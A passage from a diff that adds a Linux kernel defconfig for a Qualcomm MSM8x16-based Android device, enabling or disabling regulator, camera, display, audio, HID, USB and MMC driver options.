CONFIG_MFD_TPS80031 is not set +# CONFIG_TWL4030_CORE is not set +# CONFIG_TWL6040_CORE is not set +# CONFIG_MFD_WL1273_CORE is not set +# CONFIG_MFD_LM3533 is not set +# CONFIG_MFD_TC3589X is not set +# CONFIG_MFD_TMIO is not set +# CONFIG_MFD_T7L66XB is not set +# CONFIG_MFD_TC6387XB is not set +# CONFIG_MFD_TC6393XB is not set +# CONFIG_MFD_ARIZONA_I2C is not set +# CONFIG_MFD_ARIZONA_SPI is not set +# CONFIG_MFD_WM8400 is not set +# CONFIG_MFD_WM831X_I2C is not set +# CONFIG_MFD_WM831X_SPI is not set +# CONFIG_MFD_WM8350_I2C is not set +# CONFIG_MFD_WM8994 is not set +# CONFIG_WCD9304_CODEC is not set +# CONFIG_WCD9310_CODEC is not set +# CONFIG_WCD9320_CODEC is not set +# CONFIG_WCD9306_CODEC is not set +# CONFIG_WCD9330_CODEC is not set +CONFIG_WCD9335_CODEC=y +CONFIG_REGULATOR=y +# CONFIG_REGULATOR_DEBUG is not set +# CONFIG_REGULATOR_DUMMY is not set +CONFIG_REGULATOR_FIXED_VOLTAGE=y +# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set +# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set +CONFIG_REGULATOR_PROXY_CONSUMER=y +# CONFIG_REGULATOR_GPIO is not set +# CONFIG_REGULATOR_AD5398 is not set +CONFIG_REGULATOR_FAN53555=y +CONFIG_REGULATOR_MEM_ACC=y +# CONFIG_REGULATOR_ISL6271A is not set +# CONFIG_REGULATOR_MAX1586 is not set +# CONFIG_REGULATOR_MAX8649 is not set +# CONFIG_REGULATOR_MAX8660 is not set +# CONFIG_REGULATOR_MAX8952 is not set +# CONFIG_REGULATOR_MAX8973 is not set +CONFIG_REGULATOR_ONSEMI_NCP6335D=y +# CONFIG_REGULATOR_LP3971 is not set +# CONFIG_REGULATOR_LP3972 is not set +# CONFIG_REGULATOR_LP872X is not set +# CONFIG_REGULATOR_LP8755 is not set +# CONFIG_REGULATOR_TPS51632 is not set +# CONFIG_REGULATOR_TPS62360 is not set +# CONFIG_REGULATOR_TPS65023 is not set +# CONFIG_REGULATOR_TPS6507X is not set +# CONFIG_REGULATOR_TPS6524X is not set +CONFIG_REGULATOR_TPS65132=y +# CONFIG_REGULATOR_TPS65132_YL is not set +CONFIG_REGULATOR_STUB=y +CONFIG_REGULATOR_RPM_SMD=y +CONFIG_REGULATOR_QPNP=y +CONFIG_REGULATOR_SPM=y +CONFIG_REGULATOR_CPR=y +CONFIG_MEDIA_SUPPORT=y + +# +# Multimedia core support +# +CONFIG_MEDIA_CAMERA_SUPPORT=y +# CONFIG_MEDIA_ANALOG_TV_SUPPORT is not set +# CONFIG_MEDIA_DIGITAL_TV_SUPPORT is not set +CONFIG_MEDIA_RADIO_SUPPORT=y +# CONFIG_MEDIA_RC_SUPPORT is not set +CONFIG_MEDIA_CONTROLLER=y +CONFIG_VIDEO_DEV=y +CONFIG_VIDEO_V4L2_SUBDEV_API=y +CONFIG_VIDEO_V4L2=y +# CONFIG_VIDEO_ADV_DEBUG is not set +# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set +CONFIG_VIDEOBUF2_CORE=y +CONFIG_VIDEOBUF2_MEMOPS=y +CONFIG_VIDEOBUF2_DMA_CONTIG=y +CONFIG_VIDEOBUF2_VMALLOC=y +CONFIG_VIDEOBUF2_DMA_SG=y +CONFIG_VIDEOBUF2_MSM_MEM=y +# CONFIG_VIDEO_V4L2_INT_DEVICE is not set +# CONFIG_TTPCI_EEPROM is not set + +# +# Media drivers +# +# CONFIG_MEDIA_USB_SUPPORT is not set +CONFIG_V4L_PLATFORM_DRIVERS=y +# CONFIG_VIDEO_TIMBERDALE is not set +# CONFIG_SOC_CAMERA is not set +# CONFIG_V4L_MEM2MEM_DRIVERS is not set +# CONFIG_V4L_TEST_DRIVERS is not set + +# +# Qualcomm MSM Camera And Video +# +# CONFIG_MSM_CAMERA is not set +CONFIG_MSMB_CAMERA=y +# CONFIG_MSMB_CAMERA_DEBUG is not set +CONFIG_WT88047_CAMERA=y +CONFIG_MSM_CAMERA_SENSOR=y +CONFIG_MSM_CPP=y +CONFIG_MSM_CCI=y +# CONFIG_MSM_CSI20_HEADER is not set +# CONFIG_MSM_CSI22_HEADER is not set +CONFIG_MSM_CSI30_HEADER=y +# CONFIG_MSM_CSI31_HEADER is not set +CONFIG_MSM_CSIPHY=y +CONFIG_MSM_CSID=y +CONFIG_MSM_EEPROM=y +CONFIG_MSM_ISPIF=y +# CONFIG_MSM_ISPIF_V1 is not set +# CONFIG_IMX134 is not set +# CONFIG_IMX132 is not set +# CONFIG_OV9724 is not set +# CONFIG_HI256 is not set +# CONFIG_OV5648 is not set +# CONFIG_MT9M114 is not set +# CONFIG_OV5645 is not set +# CONFIG_OV7695 is not set +# CONFIG_SP1628 is not set +# CONFIG_GC0339 is not set +# CONFIG_OV8825 is not set +# CONFIG_OV8865 is not set +# CONFIG_s5k4e1 is not set +# CONFIG_OV12830 is not set +# CONFIG_MSM_V4L2_VIDEO_OVERLAY_DEVICE is not set +CONFIG_MSMB_JPEG=y +CONFIG_MSM_VIDC_V4L2=y +# CONFIG_MSM_VIDC_VMEM is not set +# CONFIG_MSM_WFD is not set +# CONFIG_TSPP is not set +# CONFIG_CI_BRIDGE_SPI is not set +# CONFIG_MSM_VPU is not set + +# +# Supported MMC/SDIO adapters +# +CONFIG_RADIO_ADAPTERS=y +# CONFIG_RADIO_SI470X is not set +# CONFIG_USB_MR800 is not set +# CONFIG_USB_DSBR is not set +# CONFIG_RADIO_SHARK is not set +# CONFIG_RADIO_SHARK2 is not set +# CONFIG_I2C_SI4713 is not set +# CONFIG_RADIO_SI4713 is not set +# CONFIG_USB_KEENE is not set +# CONFIG_USB_MA901 is not set +# CONFIG_RADIO_TEA5764 is not set +# CONFIG_RADIO_SAA7706H is not set +# CONFIG_RADIO_TEF6862 is not set +# CONFIG_RADIO_WL1273 is not set + +# +# Texas Instruments WL128x FM driver (ST based) +# +CONFIG_RADIO_IRIS=y +CONFIG_RADIO_IRIS_TRANSPORT=y +# CONFIG_RADIO_SILABS is not set +# CONFIG_CYPRESS_FIRMWARE is not set + +# +# Media ancillary drivers (tuners, sensors, i2c, frontends) +# +CONFIG_MEDIA_SUBDRV_AUTOSELECT=y + +# +# Audio decoders, processors and mixers +# + +# +# RDS decoders +# + +# +# Video decoders +# + +# +# Video and audio decoders +# + +# +# Video encoders +# + +# +# Camera sensor devices +# + +# +# Flash devices +# + +# +# Video improvement chips +# + +# +# Miscelaneous helper chips +# + +# +# Sensors used on soc_camera driver +# +CONFIG_MEDIA_TUNER=y +CONFIG_MEDIA_TUNER_SIMPLE=y +CONFIG_MEDIA_TUNER_TDA8290=y +CONFIG_MEDIA_TUNER_TDA827X=y +CONFIG_MEDIA_TUNER_TDA18271=y +CONFIG_MEDIA_TUNER_TDA9887=y +CONFIG_MEDIA_TUNER_TEA5761=y +CONFIG_MEDIA_TUNER_TEA5767=y +CONFIG_MEDIA_TUNER_MT20XX=y +CONFIG_MEDIA_TUNER_XC2028=y +CONFIG_MEDIA_TUNER_XC5000=y +CONFIG_MEDIA_TUNER_XC4000=y +CONFIG_MEDIA_TUNER_MC44S803=y + +# +# Tools to develop new frontends +# +# CONFIG_DVB_DUMMY_FE is not set + +# +# Graphics support +# +# CONFIG_DRM is not set +CONFIG_MSM_KGSL=y +# CONFIG_MSM_KGSL_CFF_DUMP is not set +CONFIG_MSM_ADRENO_DEFAULT_GOVERNOR="msm-adreno-tz" +CONFIG_KGSL_PER_PROCESS_PAGE_TABLE=y +# CONFIG_VGASTATE is not set +# CONFIG_VIDEO_OUTPUT_CONTROL is not set +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +# CONFIG_FB_DDC is not set +# CONFIG_FB_BOOT_VESA_SUPPORT is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set +CONFIG_FB_SYS_FILLRECT=y +CONFIG_FB_SYS_COPYAREA=y +CONFIG_FB_SYS_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +CONFIG_FB_SYS_FOPS=y +# CONFIG_FB_SVGALIB is not set +# CONFIG_FB_MACMODES is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_TMIO is not set +# CONFIG_FB_SMSCUFX is not set +# CONFIG_FB_UDL is not set +# CONFIG_FB_GOLDFISH is not set +CONFIG_FB_VIRTUAL=y +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_BROADSHEET is not set +# CONFIG_FB_AUO_K190X is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_MSM_VIDC_CONTENT_PROTECTION is not set +CONFIG_FB_MSM=y +# CONFIG_FB_MSM_BACKLIGHT is not set +# CONFIG_FB_MSM_LCDC_HW is not set +# CONFIG_FB_MSM_TRIPLE_BUFFER is not set +# CONFIG_FB_MSM_MDP_HW is not set +CONFIG_FB_MSM_MDSS_COMMON=y +# CONFIG_FB_MSM_MDP22 is not set +# CONFIG_FB_MSM_MDP30 is not set +# CONFIG_FB_MSM_MDP31 is not set +# CONFIG_FB_MSM_MDP40 is not set +CONFIG_FB_MSM_MDSS=y +# CONFIG_FB_MSM_MDP_NONE is not set +# CONFIG_FB_MSM_MDDI is not set +# CONFIG_FB_MSM_MIPI_DSI is not set +# CONFIG_FB_MSM_EXTMDDI is not set +# CONFIG_FB_MSM_MDDI_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_AUTO_DETECT is not set +CONFIG_FB_MSM_LVDS_CHIMEI_WXGA_PANEL=y +# CONFIG_FB_MSM_LVDS_FRC_FHD_PANEL is not set +# CONFIG_FB_MSM_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_MIPI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LVDS_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_TOSHIBA_VGA is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WSVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_VIDEO_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_CMD_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_VIDEO_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_CMD_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_TRULY_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_CMD_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_SIMULATOR_VIDEO_PANEL is not set +# CONFIG_FB_MSM_PANEL_NONE is not set +# CONFIG_FB_MSM_HDMI_COMMON is not set +# CONFIG_FB_MSM_HDMI_3D is not set +# CONFIG_FB_MSM_EBI2_PANEL_DETECT is not set +# CONFIG_FB_MSM_QPIC_ILI_QVGA_PANEL is not set +# CONFIG_FB_MSM_QPIC_PANEL_DETECT is not set +CONFIG_FB_MSM_MDSS_WRITEBACK=y +# CONFIG_FB_MSM_MDSS_HDMI_PANEL is not set +# CONFIG_FB_MSM_MDSS_DSI_CTRL_STATUS is not set +# CONFIG_FB_MSM_MDSS_EDP_PANEL is not set +# CONFIG_FB_MSM_MDSS_MDP3 is not set +# CONFIG_EXYNOS_VIDEO is not set +CONFIG_BACKLIGHT_LCD_SUPPORT=y +# CONFIG_LCD_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_GENERIC is not set +# CONFIG_BACKLIGHT_PWM is not set +# CONFIG_BACKLIGHT_ADP8860 is not set +# CONFIG_BACKLIGHT_ADP8870 is not set +# CONFIG_BACKLIGHT_LM3630 is not set +# CONFIG_BACKLIGHT_LM3639 is not set +# CONFIG_BACKLIGHT_LP855X is not set +# CONFIG_ADF is not set +# CONFIG_LOGO is not set +# CONFIG_FB_SSD1307 is not set +CONFIG_SOUND=y +# CONFIG_SOUND_OSS_CORE is not set +CONFIG_SND=y +CONFIG_SND_TIMER=y +CONFIG_SND_PCM=y +CONFIG_SND_HWDEP=y +CONFIG_SND_RAWMIDI=y +CONFIG_SND_COMPRESS_OFFLOAD=y +CONFIG_SND_JACK=y +# CONFIG_SND_SEQUENCER is not set +# CONFIG_SND_MIXER_OSS is not set +# CONFIG_SND_PCM_OSS is not set +# CONFIG_SND_HRTIMER is not set +CONFIG_SND_DYNAMIC_MINORS=y +CONFIG_SND_SUPPORT_OLD_API=y +CONFIG_SND_VERBOSE_PROCFS=y +# CONFIG_SND_VERBOSE_PRINTK is not set +# CONFIG_SND_DEBUG is not set +# CONFIG_SND_RAWMIDI_SEQ is not set +# CONFIG_SND_OPL3_LIB_SEQ is not set +# CONFIG_SND_OPL4_LIB_SEQ is not set +# CONFIG_SND_SBAWE_SEQ is not set +# CONFIG_SND_EMU10K1_SEQ is not set +CONFIG_SND_DRIVERS=y +# CONFIG_SND_DUMMY is not set +# CONFIG_SND_ALOOP is not set +# CONFIG_SND_MTPAV is not set +# CONFIG_SND_SERIAL_U16550 is not set +# CONFIG_SND_MPU401 is not set +CONFIG_SND_ARM=y +CONFIG_SND_SPI=y +CONFIG_SND_USB=y +CONFIG_SND_USB_AUDIO=y +# CONFIG_SND_USB_UA101 is not set +# CONFIG_SND_USB_CAIAQ is not set +# CONFIG_SND_USB_6FIRE is not set +CONFIG_SND_SOC=y +# CONFIG_SND_ATMEL_SOC is not set +# CONFIG_SND_DESIGNWARE_I2S is not set + +# +# MSM SoC Audio support +# +CONFIG_SND_SOC_MSM_HOSTLESS_PCM=y +CONFIG_SND_SOC_MSM_QDSP6V2_INTF=y +# CONFIG_SND_SOC_QDSP6 is not set +CONFIG_SND_SOC_QDSP6V2=y +# CONFIG_AUDIO_OCMEM is not set +CONFIG_DOLBY_DAP=y +# CONFIG_DTS_EAGLE is not set +CONFIG_DOLBY_DS2=y +CONFIG_DTS_SRS_TM=y +CONFIG_QTI_PP=y +CONFIG_SND_SOC_CPE=y +CONFIG_SND_SOC_MSM8X16=y +CONFIG_SND_SOC_I2C_AND_SPI=y +# CONFIG_SND_SOC_ALL_CODECS is not set +CONFIG_SND_SOC_WSA881X=y +CONFIG_SND_SOC_MSM8X16_WCD=y +CONFIG_SND_SOC_WCD_CPE=y +CONFIG_AUDIO_EXT_CLK=y +CONFIG_SND_SOC_WCD_MBHC=y +CONFIG_SND_SOC_MSM_STUB=y +# CONFIG_SND_SIMPLE_CARD is not set +# CONFIG_SOUND_PRIME is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +CONFIG_HIDRAW=y +CONFIG_UHID=y +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +CONFIG_HID_A4TECH=y +CONFIG_HID_ACRUX=y +CONFIG_HID_ACRUX_FF=y +CONFIG_HID_APPLE=y +# CONFIG_HID_APPLEIR is not set +# CONFIG_HID_AUREAL is not set +CONFIG_HID_BELKIN=y +CONFIG_HID_CHERRY=y +CONFIG_HID_CHICONY=y +CONFIG_HID_PRODIKEYS=y +CONFIG_HID_CYPRESS=y +CONFIG_HID_DRAGONRISE=y +CONFIG_DRAGONRISE_FF=y +CONFIG_HID_EMS_FF=y +CONFIG_HID_ELECOM=y +CONFIG_HID_EZKEY=y +CONFIG_HID_FIIO=y +CONFIG_HID_HOLTEK=y +# CONFIG_HOLTEK_FF is not set +CONFIG_HID_KEYTOUCH=y +CONFIG_HID_KYE=y +CONFIG_HID_UCLOGIC=y +CONFIG_HID_WALTOP=y +CONFIG_HID_GYRATION=y +# CONFIG_HID_ICADE is not set +CONFIG_HID_TWINHAN=y +CONFIG_HID_KENSINGTON=y +CONFIG_HID_LCPOWER=y +# CONFIG_HID_LENOVO_TPKBD is not set +CONFIG_HID_LOGITECH=y +CONFIG_HID_LOGITECH_DJ=y +CONFIG_LOGITECH_FF=y +CONFIG_LOGIRUMBLEPAD2_FF=y +CONFIG_LOGIG940_FF=y +CONFIG_LOGIWHEELS_FF=y +CONFIG_HID_MAGICMOUSE=y +CONFIG_HID_MICROSOFT=y +CONFIG_HID_MONTEREY=y +CONFIG_HID_MULTITOUCH=y +CONFIG_HID_NTRIG=y +CONFIG_HID_ORTEK=y +CONFIG_HID_PANTHERLORD=y +CONFIG_PANTHERLORD_FF=y +CONFIG_HID_PETALYNX=y +CONFIG_HID_PICOLCD=y +# CONFIG_HID_PICOLCD_FB is not set +# CONFIG_HID_PICOLCD_BACKLIGHT is not set +# CONFIG_HID_PICOLCD_LEDS is not set +CONFIG_HID_PRIMAX=y +# CONFIG_HID_PS3REMOTE is not set +CONFIG_HID_ROCCAT=y +CONFIG_HID_SAITEK=y +CONFIG_HID_SAMSUNG=y +CONFIG_HID_SONY=y +CONFIG_HID_SPEEDLINK=y +# CONFIG_HID_STEELSERIES is not set +CONFIG_HID_SUNPLUS=y +CONFIG_HID_GREENASIA=y +CONFIG_GREENASIA_FF=y +CONFIG_HID_SMARTJOYPLUS=y +CONFIG_SMARTJOYPLUS_FF=y +CONFIG_HID_TIVO=y +CONFIG_HID_TOPSEED=y +# CONFIG_HID_THINGM is not set +CONFIG_HID_THRUSTMASTER=y +# CONFIG_THRUSTMASTER_FF is not set +CONFIG_HID_WACOM=y +CONFIG_HID_WIIMOTE=y +CONFIG_HID_WIIMOTE_EXT=y +CONFIG_HID_ZEROPLUS=y +# CONFIG_ZEROPLUS_FF is not set +CONFIG_HID_ZYDACRON=y +# CONFIG_HID_SENSOR_HUB is not set + +# +# USB HID support +# +CONFIG_USB_HID=y +# CONFIG_HID_PID is not set +CONFIG_USB_HIDDEV=y + +# +# I2C HID support +# +# CONFIG_I2C_HID is not set +CONFIG_USB_SUPPORT=y +CONFIG_USB_COMMON=y +CONFIG_USB_ARCH_HAS_HCD=y +CONFIG_USB=y +# CONFIG_USB_DEBUG is not set +CONFIG_USB_ANNOUNCE_NEW_DEVICES=y + +# +# Miscellaneous USB options +# +CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_DYNAMIC_MINORS is not set +# CONFIG_USB_OTG is not set +# CONFIG_USB_OTG_WHITELIST is not set +# CONFIG_USB_OTG_BLACKLIST_HUB is not set +CONFIG_USB_MON=y +# CONFIG_USB_WUSB_CBAF is not set + +# +# USB Host Controller Drivers +# +# CONFIG_USB_C67X00_HCD is not set +# CONFIG_USB_XHCI_HCD is not set +CONFIG_USB_EHCI_HCD=y +CONFIG_USB_EHCI_EHSET=y +CONFIG_USB_EHCI_ROOT_HUB_TT=y +CONFIG_USB_EHCI_TT_NEWSCHED=y +CONFIG_USB_EHCI_MSM=y +# CONFIG_USB_EHCI_MSM_HSIC is not set +CONFIG_USB_EHCI_MSM_UICC=y +# CONFIG_USB_EHCI_HCD_PLATFORM is not set +# CONFIG_USB_OXU210HP_HCD is not set +# CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_ISP1760_HCD is not set +# CONFIG_USB_ISP1362_HCD is not set +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_SL811_HCD is not set +# CONFIG_USB_R8A66597_HCD is not set +CONFIG_USB_ICE40_HCD=y +# CONFIG_USB_MUSB_HDRC is not set +# CONFIG_USB_RENESAS_USBHS is not set + +# +# USB Device Class drivers +# +CONFIG_USB_ACM=y +# CONFIG_USB_PRINTER is not set +# CONFIG_USB_WDM is not set +# CONFIG_USB_TMC is not set +CONFIG_USB_CCID_BRIDGE=y + +# +# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may +# + +# +# also be needed; see USB_STORAGE Help for more info +# +CONFIG_USB_STORAGE=y +# CONFIG_USB_STORAGE_DEBUG is not set +# CONFIG_USB_STORAGE_REALTEK is not set +CONFIG_USB_STORAGE_DATAFAB=y +CONFIG_USB_STORAGE_FREECOM=y +CONFIG_USB_STORAGE_ISD200=y +CONFIG_USB_STORAGE_USBAT=y +CONFIG_USB_STORAGE_SDDR09=y +CONFIG_USB_STORAGE_SDDR55=y +CONFIG_USB_STORAGE_JUMPSHOT=y +CONFIG_USB_STORAGE_ALAUDA=y +CONFIG_USB_STORAGE_ONETOUCH=y +CONFIG_USB_STORAGE_KARMA=y +CONFIG_USB_STORAGE_CYPRESS_ATACB=y +# CONFIG_USB_STORAGE_ENE_UB6250 is not set + +# +# USB Imaging devices +# +# CONFIG_USB_MDC800 is not set +# CONFIG_USB_MICROTEK is not set +# CONFIG_USB_DWC3 is not set +# CONFIG_USB_CHIPIDEA is not set + +# +# USB port drivers +# +CONFIG_USB_SERIAL=y +# CONFIG_USB_SERIAL_CONSOLE is not set +# CONFIG_USB_SERIAL_GENERIC is not set +# CONFIG_USB_SERIAL_AIRCABLE is not set +# CONFIG_USB_SERIAL_ARK3116 is not set +# CONFIG_USB_SERIAL_BELKIN is not set +# CONFIG_USB_SERIAL_CH341 is not set +# CONFIG_USB_SERIAL_WHITEHEAT is not set +# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set +# CONFIG_USB_SERIAL_CP210X is not set +# CONFIG_USB_SERIAL_CYPRESS_M8 is not set +# CONFIG_USB_SERIAL_EMPEG is not set +# CONFIG_USB_SERIAL_FTDI_SIO is not set +# CONFIG_USB_SERIAL_FUNSOFT is not set +# CONFIG_USB_SERIAL_VISOR is not set +# CONFIG_USB_SERIAL_IPAQ is not set +# CONFIG_USB_SERIAL_IR is not set +# CONFIG_USB_SERIAL_EDGEPORT is not set +# CONFIG_USB_SERIAL_EDGEPORT_TI is not set +# CONFIG_USB_SERIAL_F81232 is not set +# CONFIG_USB_SERIAL_GARMIN is not set +# CONFIG_USB_SERIAL_IPW is not set +# CONFIG_USB_SERIAL_IUU is not set +# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set +# CONFIG_USB_SERIAL_KEYSPAN is not set +# CONFIG_USB_SERIAL_KLSI is not set +# CONFIG_USB_SERIAL_KOBIL_SCT is not set +# CONFIG_USB_SERIAL_MCT_U232 is not set +# CONFIG_USB_SERIAL_METRO is not set +# CONFIG_USB_SERIAL_MOS7720 is not set +# CONFIG_USB_SERIAL_MOS7840 is not set +# CONFIG_USB_SERIAL_MOTOROLA is not set +# CONFIG_USB_SERIAL_NAVMAN is not set +# CONFIG_USB_SERIAL_PL2303 is not set +# CONFIG_USB_SERIAL_OTI6858 is not set +# CONFIG_USB_SERIAL_QCAUX is not set +# CONFIG_USB_SERIAL_QUALCOMM is not set +# CONFIG_USB_SERIAL_SPCP8X5 is not set +# CONFIG_USB_SERIAL_HP4X is not set +# CONFIG_USB_SERIAL_SAFE is not set +# CONFIG_USB_SERIAL_SIEMENS_MPI is not set +# CONFIG_USB_SERIAL_SIERRAWIRELESS is not set +# CONFIG_USB_SERIAL_SYMBOL is not set +# CONFIG_USB_SERIAL_TI is not set +# CONFIG_USB_SERIAL_CYBERJACK is not set +# CONFIG_USB_SERIAL_XIRCOM is not set +# CONFIG_USB_SERIAL_OPTION is not set +# CONFIG_USB_SERIAL_OMNINET is not set +# CONFIG_USB_SERIAL_OPTICON is not set +# CONFIG_USB_SERIAL_VIVOPAY_SERIAL is not set +# CONFIG_USB_SERIAL_XSENS_MT is not set +# CONFIG_USB_SERIAL_ZIO is not set +# CONFIG_USB_SERIAL_WISHBONE is not set +# CONFIG_USB_SERIAL_ZTE is not set +# CONFIG_USB_SERIAL_SSU100 is not set +# CONFIG_USB_SERIAL_QT2 is not set +CONFIG_USB_SERIAL_CSVT=y +# CONFIG_USB_SERIAL_DEBUG is not set + +# +# USB Miscellaneous drivers +# +# CONFIG_USB_EMI62 is not set +# CONFIG_USB_EMI26 is not set +# CONFIG_USB_ADUTUX is not set +# CONFIG_USB_SEVSEG is not set +# CONFIG_USB_RIO500 is not set +# CONFIG_USB_LEGOTOWER is not set +# CONFIG_USB_LCD is not set +# CONFIG_USB_LED is not set +# CONFIG_USB_CYPRESS_CY7C63 is not set +# CONFIG_USB_CYTHERM is not set +# CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set +# CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_USB_SISUSBVGA is not set +# CONFIG_USB_LD is not set +# CONFIG_USB_TRANCEVIBRATOR is not set +# CONFIG_USB_IOWARRIOR is not set +# CONFIG_USB_TEST is not set +CONFIG_USB_EHSET_TEST_FIXTURE=y +# CONFIG_USB_ISIGHTFW is not set +# CONFIG_USB_YUREX is not set +# CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_HSIC_USB3503 is not set +# CONFIG_USB_QCOM_DIAG_BRIDGE is not set +# CONFIG_USB_QCOM_MDM_BRIDGE is not set +# CONFIG_USB_QCOM_KS_BRIDGE is not set +# CONFIG_USB_QCOM_IPC_BRIDGE is not set +CONFIG_USB_PHY=y +CONFIG_USB_OTG_WAKELOCK=y +# CONFIG_NOP_USB_XCEIV is not set +# CONFIG_OMAP_CONTROL_USB is not set +# CONFIG_OMAP_USB3 is not set +# CONFIG_SAMSUNG_USBPHY is not set +# CONFIG_SAMSUNG_USB2PHY is not set +# CONFIG_SAMSUNG_USB3PHY is not set +# CONFIG_USB_MSM_OTG_72K is not set +# CONFIG_USB_GPIO_VBUS is not set +# CONFIG_USB_ISP1301 is not set +CONFIG_USB_MSM_OTG=y +# CONFIG_USB_MSM_ACA is not set +# CONFIG_USB_MSM_HSPHY is not set +# CONFIG_USB_MSM_SSPHY is not set +# CONFIG_USB_MSM_SSPHY_QMP is not set +# CONFIG_MSM_QUSB_PHY is not set +# CONFIG_USB_RCAR_PHY is not set +# CONFIG_USB_ULPI is not set +CONFIG_USB_GADGET=y +# CONFIG_USB_GADGET_DEBUG is not set +CONFIG_USB_GADGET_DEBUG_FILES=y +CONFIG_USB_GADGET_DEBUG_FS=y +CONFIG_USB_GADGET_VBUS_DRAW=500 +CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2 + +# +# USB Peripheral Controller +# +# CONFIG_USB_FUSB300 is not set +# CONFIG_USB_R8A66597 is not set +# CONFIG_USB_PXA27X is not set +# CONFIG_USB_MV_UDC is not set +# CONFIG_USB_MV_U3D is not set +# CONFIG_USB_M66592 is not set +# CONFIG_USB_NET2272 is not set +CONFIG_USB_CI13XXX_MSM=y +# CONFIG_USB_CI13XXX_MSM_HSIC is not set +# CONFIG_USB_DWC3_MSM is not set +# CONFIG_USB_DUMMY_HCD is not set +CONFIG_USB_LIBCOMPOSITE=y +CONFIG_USB_F_ACM=y +CONFIG_USB_U_SERIAL=y +CONFIG_USB_F_SERIAL=y +# CONFIG_USB_ZERO is not set +# CONFIG_USB_AUDIO is not set +# CONFIG_USB_ETH is not set +# CONFIG_USB_G_NCM is not set +# CONFIG_USB_GADGETFS is not set +# CONFIG_USB_FUNCTIONFS is not set +# CONFIG_USB_MASS_STORAGE is not set +# CONFIG_USB_G_SERIAL is not set +# CONFIG_USB_MIDI_GADGET is not set +# CONFIG_USB_G_PRINTER is not set +CONFIG_USB_G_ANDROID=y +# CONFIG_USB_ANDROID_RNDIS_DWORD_ALIGNED is not set +# CONFIG_USB_CDC_COMPOSITE is not set +# CONFIG_USB_G_ACM_MS is not set +# CONFIG_USB_G_MULTI is not set +# CONFIG_USB_G_HID is not set +# CONFIG_USB_G_DBGP is not set +# CONFIG_USB_G_WEBCAM is not set +CONFIG_USB_CSW_HACK=y +# CONFIG_USB_MSC_PROFILING is not set +CONFIG_MODEM_SUPPORT=y +CONFIG_RMNET_SMD_CTL_CHANNEL="" +CONFIG_RMNET_SMD_DATA_CHANNEL="" +CONFIG_MMC=y +# CONFIG_MMC_DEBUG is not set +CONFIG_MMC_PERF_PROFILING=y +CONFIG_MMC_UNSAFE_RESUME=y +CONFIG_MMC_CLKGATE=y +CONFIG_MMC_EMBEDDED_SDIO=y +CONFIG_MMC_PARANOID_SD_INIT=y + +# +# MMC/SD/SDIO Card Drivers +# +CONFIG_MMC_BLOCK=y +CONFIG_MMC_BLOCK_MINORS=32 +CONFIG_MMC_BLOCK_BOUNCE=y +CONFIG_MMC_BLOCK_DEFERRED_RESUME=y +# CONFIG_SDIO_UART is not set +# CONFIG_MMC_TEST is not set +# CONFIG_MMC_YL_PARAMS is not set + +# +# MMC/SD/SDIO Host Controller Drivers +# +CONFIG_MMC_SDHCI=y +CONFIG_MMC_SDHCI_PLTFM=y +CONFIG_MMC_SDHCI_MSM=y +# CONFIG_MMC_SDHCI_PXAV3 is not set +# CONFIG_MMC_SDHCI_PXAV2 is not set 